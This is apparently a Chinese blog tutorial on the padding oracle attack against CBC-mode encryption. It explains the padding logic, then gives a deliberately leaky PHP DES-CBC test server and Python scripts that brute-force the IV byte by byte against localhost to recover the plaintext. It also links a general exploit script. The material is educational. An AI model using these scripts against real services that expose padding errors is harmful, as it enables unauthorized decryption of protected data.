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padding-oracle攻击原理分析(附带rsa资料)

一、前引

最近恶补各种加解密。。把之前学的笔记放一放,本来还想放放自己的rsa笔记,不过这里有一份更好的了,我自己的就不拿出来了。 flappypig rsa:http://bobao.360.cn/learning/detail/3058.html?from=groupmessage&isappinstalled=0 另外这个oj https://www.jarvisoj.com上加上sctf2016都有比较典型的rsa的题目,比较好练手。 另外有个推荐的博客http://bluereader.org/rss/12594/p-1,这个是比较系统的讲了rsa,很不错,理论比上面flappypig那个讲的详细些,逻辑性更强,要是flappypig的暂时看不懂的话可以先看这个再去看那个。

1.1 四种分组加密方式及padding

http://www.cnblogs.com/happyhippy/archive/2006/12/23/601353.html

简单总结下: 其中提到填充方法,以分组8个字节为例:需要填充n个字节,则n个字节都填充0x0n。如果恰好全满,填充8个0x08组成新块。OFB和CFB不需要填充。 如下分组,产生密文我们在反解的时候,注意到最后一个分组的末尾的数值为0×04,即表示填充了4个Padding。如果最后的Padding不正确(值和数量不一致),则解密程序往往会抛出异常(Padding Error)。而利用应用的错误回显,我们就可以判断出Paddig是否正确。 这里写图片描述 而这个类似二分盲注的思想,因为明文是看不到的,但是明文解密失败是会有反应的。比如在web应用中,如果Padding不正确,则应用程序很可能会返回500的错误(程序执行错误);如果Padding正确,但解密出来的内容不正确,则可能会返回200的自定义错误(这只是业务上的规定),所以,这种区别就可以成为一个二值逻辑的”注入点”。 明文分组和填充就是Padding Oracle Attack的根源所在。但是这些需要一个前提,那就是应用程序对异常的处理。当提交的加密后的数据中出现错误的填充信息时,不够健壮的应用程序解密时报错。

所以攻击成立两个重要的前提

  1. 攻击者能够获得密文(Ciphertext),以及附带在密文前面的IV(初始化向量)
  2. 攻击者能够触发密文的解密过程,且能够知道密文的解密结果

1.2 猜解明文

根据之前的分析,padding只可能有以下几种情况:

1个字节的Padding为0x01
2个字节的Padding为0x02
3个字节的Padding为0x03
4个字节的Padding为0x04
5个字节的Padding为0x05
6个字节的Padding为0x06
7个字节的Padding为0x07
8个字节的Padding为0x08(当原始的明文正好是分组的整数倍的时候,Padding一个整组的填充值)

cbc解密模式图如下: 这里写图片描述 我们接下来要利用选择密文攻击的思想,不断调整,修正IV。来对Intermediary Value进行猜测。

1.2.1 padding 0x01

我们不断地调整IV的值,以希望解密后,最后一个字节的值为正确的Padding Byte,这里是0×01。因为Intermediary Value是固定的(我们此时不知道Intermediary Value),因此从0×00~0xFF之间,只可能有一个IV的值与Intermediary Value的最后一个字节进行XOR后,结果是0×01( 因为0×01只有最后1bit为1,其他都是0,所以根据XOR的性质,只能存在一个值能XOR得到0×01)。攻击者通过遍历这255个值,可以找出IV需要的最后一个字节。 即我们可以控制iv,然后我们能够知道原本正确的iv是啥,然后我们只需要构造iv使得明文解出来是0x01就行了,这样就推到了中间值,加上我们知道正确的iv,异或一下就能够得到第一组明文的最后一个字节的了:

Intermediary Value ^ iv = 0x01
这个iv是我们通过尝试不断构造的,这样子推出了Intermediary Value,那么之前说了我们掌握了真正的iv,这样子就能够知道最终的明文了

1.2.2 padding 0x02

通过上述操作我们能够知道第一个字节,假设为0x??,因此可以”更新”IV(攻击者输入的IV)的第8个字节为0x?? ^ 0x02,然后开始随机构造iv的倒数第二个字节,直至解密出来的第一个分组的倒数第二个字节为0x02,此时的iv异或上0x02之后再和正确iv的倒数第二个字节异或,即可得到明文的第一分组的倒数第二个字节。

至于padding 0x03,0x04…..就不再赘述了。

二、测试代码

这里我自己写了个简单的服务器测试了下,写的比较挫,只是帮助自己更好的理解下原理。。然后自己写了poc。写的非常难看,大家将就着看,另外把自己的草稿也保留在其中了。 服务端代码:

<?php
$string = 'bendawang';
$key = '12345678';
$cipher = MCRYPT_DES;
$modes = MCRYPT_MODE_CBC;
/*

#cipher:01af3d443c84ae0d859755ee9b3e2933
#iv:38b740ea94706e9b

$iv=hex2bin("38b740ea94706e9b");
#iv=hex2bin($_GET['$iv']);
#$iv=mcrypt_create_iv(mcrypt_get_iv_size($cipher,$modes),MCRYPT_RAND);
#$str=hex2bin($_GET['str']);
$encode=mcrypt_encrypt($cipher,$key,$string,$modes,$iv);
$decode=mcrypt_decrypt($cipher,$key,$encode,$modes,$iv);
echo bin2hex($iv)."</br>";
echo bin2hex($encode)."</br>";
echo $decode."</br>";
*/
if(isset($_GET['iv'])&&isset($_GET['str']))&#123;
    $iv=hex2bin($_GET['iv']);
    #echo $iv;
    $str=hex2bin($_GET['str']);
    $decode=mcrypt_decrypt($cipher,$key,$str,$modes,$iv);
    #echo bin2hex($iv)."br>";
    #echo bin2hex($encode)."br>";
    echo bin2hex($decode);
    $temp=bin2hex($decode);
&#125;
else&#123;
    $iv=hex2bin("38b740ea94706e9b");
    $encode=mcrypt_encrypt($cipher,$key,$string,$modes,$iv);
    echo "the iv is <h2>".bin2hex($iv)."</h2><br>";
    echo "the cipher is <h2>".bin2hex($encode)."</h2><br>";
&#125;

?>

然后是攻击测试代码:


#!/usr/bin/env python
# encoding: utf-8
import requests
r=requests.session()
url="http://127.0.0.1/test.php"
tmp="0000000000000000"
str1="01af3d443c84ae0d859755ee9b3e2933"
iv="38b740ea94706e9b"
ans=[]
param=&#123;"iv":iv,"str":"01af3d443c84ae0d859755ee9b3e2933"&#125;
result=r.get(url,params=param)
string1=result.content
lastbyte=[]
lastmedium=[]
for k in xrange(len(string1)/16):
    ans.append("");
    for j in xrange(8):
        for i in xrange(256):
            if i<16:
                tmp=tmp[0:2*(7-j)]+("0"+str(hex(i)[2]))+tmp[2*(7-j)+2:]
                t=j
                #print lastbyte
                #print t
                while t>0 and lastbyte!=[]:
                    if lastbyte[t-1]<16:
                        tmp=tmp[0:2*(7-t+1)]+"0"+str(hex(lastbyte[t-1]))[2]+tmp[2*(7-t+1)+2:]
                    else:
                        tmp=tmp[0:2*(7-t+1)]+str(hex(lastbyte[t-1]))[2:4]+tmp[2*(7-t+1)+2:]
                    t-=1
            else:
                tmp=tmp[0:2*(7-j)]+str(hex(i)[2:4])+tmp[2*(7-j)+2:]
                t=j
                #print lastbyte
                #print t
                while t>0 and lastbyte!=[]:
                    if lastbyte[t-1]<16:
                        tmp=tmp[0:2*(7-t+1)]+"0"+str(hex(lastbyte[t-1]))[2]+tmp[2*(7-t+1)+2:]
                    else:
                        tmp=tmp[0:2*(7-t+1)]+str(hex(lastbyte[t-1]))[2:4]+tmp[2*(7-t+1)+2:]
                    t-=1
            #print tmp
            #print i,tmp
            param=&#123;"iv":tmp,"str":str1[16*k:16*(k+1)]&#125;
            result=r.get(url,params=param)
            string=result.content
            #print param
            #print "0"+str(hex(j+1)[2])
            #print len(str1[16*k:16*(k+1)] )
            #print str1[16*k:16*(k+1)]
            #print string
            #print iv
            #print string[2*(7-j):2*(7-j)+2],"0"+str(hex(j+1)[2])
            if string[2*(7-j):2*(7-j)+2] == "0"+str(hex(j+1)[2]):
                print tmp
                print string
                medium=eval("0x"+iv[2*(7-j):2*(7-j)+2])
                myiv=eval("0x"+tmp[2*(7-j):2*(7-j)+2])
                time=eval(hex(j+1))
                lastmedium.append(myiv^time)
                #print hex(medium),hex(myiv),hex(time)
                #lastbyte.append(myiv^eval(hex(j+2))^time)
                lastbyte=lastmedium[:]
                #print lastbyte
                for l in xrange(len(lastbyte)):
                    lastbyte[l]=lastmedium[l]^eval(hex(j+2))
                print lastmedium
                print lastbyte
                #print tmp
                #print hex(lastbyte)
                ans[k]+=chr(medium^time^myiv)
                print ans
                break
        #if k!=0:
        #a=raw_input()
    print "\r\nthe answer is : ",ans[k][::-1],"\r\n"
    iv=str1[k*16:(k+1)*16]
    lastbyte=[]
    lastmedium=[]
    #print "iv:",iv
    tmp="0000000000000000"

print "-------------------------------------------------\r\n"
for i in xrange(len(ans)):
    print "the "+str(i+1)+"th block is : "+ans[i][::-1]




#!/usr/bin/env python
# encoding: utf-8
#仅猜解第一个分组,后续理解原理就一样的类似
import requests
r=requests.session()
url="http://127.0.0.1/test.php"
tmp="0000000000000000"
iv="38b740ea94706e9b"
ans=""
for j in xrange(8):
    for i in xrange(256):
        if i<16:
            tmp=tmp[0:2*(7-j)]+("0"+str(hex(i)[2]))+tmp[2*(7-j)+2:]
        else:
            tmp=tmp[0:2*(7-j)]+str(hex(i)[2:4])+tmp[2*(7-j)+2:]
        #print tmp
        param=&#123;"iv":tmp,"str":"01af3d443c84ae0d859755ee9b3e2933"&#125;
        result=r.get(url,params=param)
        string=result.content
        if string[2*(7-j):2*(7-j)+2] == "0"+str(hex(j+1)[2]):
            #print tmp
            #print string
            medium=eval("0x"+iv[2*(7-j):2*(7-j)+2])
            myiv=eval("0x"+tmp[2*(7-j):2*(7-j)+2])
            time=eval(hex(j+1))
            #print hex(medium),hex(myiv),hex(time)
            ans+=chr(medium^time^myiv)
            print ans
            break
    #a=raw_input()
print "---------------------------\r\nanswer is : ",ans[::-1]

'''
#猜解第一个分组的第二个字节
for i in xrange(256):
    if i<16:
        tmp="000000000000"+("0"+str(hex(i)[2]))+"F8"
    else:
        tmp="000000000000"+str(hex(i)[2:4])+"F8"
    #print tmp[14:16]
    param=&#123;"iv":tmp,"str":"01af3d443c84ae0d859755ee9b3e2933"&#125;
    result=r.get(url,params=param)
    string=result.content
    if string[12:14]=="02":
        print "done!"
        print tmp
        print string
        print chr(eval("0x"+tmp[12:14])^0x02^0x6E)
        break
'''

'''
#猜解第一个分组的第一个字节
import requests
r=requests.session()
url="http://127.0.0.1/test.php"
for i in xrange(256):
    if i<16:
        tmp="00000000000000"+("0"+str(hex(i)[2]))
    else:
        tmp="00000000000000"+str(hex(i)[2:4])
    print tmp[14:16]
    param=&#123;"iv":tmp,"str":"01af3d443c84ae0d859755ee9b3e2933"&#125;
    result=r.get(url,params=param)
    string=result.content
    if string[14:16]=="01":
        print "done!"
        print tmp
        print string
        print chr(eval("0x"+tmp[14:16])^0x01^0x9b)
        break
'''

三、通用poc

最后也给上了写的比较好的通用poc,一份github的代码,这个是我用了几个之后觉得算是最好的一份了。 https://github.com/mpgn/Padding-oracle-attack/blob/master/exploit.py